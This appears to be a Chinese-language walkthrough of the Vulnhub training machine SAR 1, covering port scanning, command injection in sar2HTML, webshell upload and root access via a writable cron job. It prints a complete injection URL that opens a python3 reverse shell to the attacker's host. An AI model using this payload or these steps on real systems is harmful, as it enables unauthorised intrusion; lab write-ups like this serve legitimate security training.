Vulnhub 425 SAR 1

 

考点:文件上传、命令执行、定时任务

靶机链接:https://www.vulnhub.com/entry/sar-1,425/

环境配置

名称 IP
Kali Linux 10.0.2.15
SAR 10.0.2.12

初步打点

端口扫描

$ export $tip=10.0.2.12
$ sudo nmap -v -A -p- $tip
Scanning 10.0.2.12 [65535 ports]
Discovered open port 80/tcp on 10.0.2.12
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)

WEB测试

看来要硬钢web应用了

1

查看phpinfo

2

查看robots.txt

3

尝试访问sar2HTML作为二级目录

4

漏洞发现

搜一下sar2ascii.tar发现

https://www.exploit-db.com/exploits/47204

获得权限

靶机测试

思路一 命令执行

按照https://www.exploit-db.com/exploits/47204 执行命令

5

antsword连接成功

6

使用python直接反弹端口失败了,可以替换python3 python3.5 python3.6 python3.87 python3.8 python3.9等等,例如这台靶机使用python3成功反弹

http://10.0.2.12/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

思路二 文件上传

另外可以点击new直接上传webshell,对应目录是/sarDATA/uPLOAD/

http://10.0.2.12/sar2HTML/sarDATA/uPLOAD/2.php

antsword连接成功

提权

linpeas.sh跑了遍发现定时任务

7

定时任务

修改定时任务的文件,每隔五分钟执行

8

静静等待,获得root权限shell

9